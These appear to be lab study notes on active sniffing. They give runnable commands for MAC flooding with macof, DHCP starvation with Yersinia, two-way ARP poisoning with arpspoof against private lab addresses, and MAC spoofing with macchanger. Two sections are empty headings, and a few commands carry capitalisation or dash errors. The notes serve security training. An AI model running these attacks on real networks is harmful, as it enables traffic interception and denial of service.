# 1. Perform Active Sniffing
## 1. Perform mac flooding using macof
MAC flooding is a technique used to compromise the security of network switches that connect network segments or network devices. Attackers use the MAC flooding technique to force a switch to act as a hub, so they can easily sniff the traffic.
```
sudo macof -i ens33 -n 10
```
{% hint style="info" %}
-i interface
-n number of packets to send
{% endhint %}
targeting an IP address
```
sudo macof -i ens33 -d 192.168.18.1
```
## 2. Perform a DHCP Starvation Attack using Yersinia
In a DHCP starvation attack, an attacker floods the DHCP server by sending a large number of DHCP requests and uses all available IP addresses that the DHCP server can issue. As a result, the server cannot issue any more IP addresses, leading to a Denial-of-Service (DoS) attack.
Start the Yersinia in an interactive mode.
```
sudo yersinia -I
```
press h for help, q to exit help
F2 to open DHCP attack mode. DHCP fields will be shown in the bottom
press x to list attack options and the type 1 to conduct DHCP starvation attack.
## 3. Perform Arp poisoning using arpspoof
Use the following command
```
arpspoof -i eth0 -t 192.168.18.1 192.168.18.14
```
{% hint style="info" %}
192.168.18.14 is the target IP
{% endhint %}
Now poison the other machine
```
arpspoof -i eth0 -t 192.168.18.14 192.168.18.1
```
## 4. Man in the Middle attack using cain and able
## 5. Spoof mac with TMAC and SMAC
## 6. Spoof Linux mac using macchanger
```
ifconfig eth0 down
Macchanger –r eth0
Ifconfig eth0 up
```
To view the mac address
```
macchanger -s eth0
```
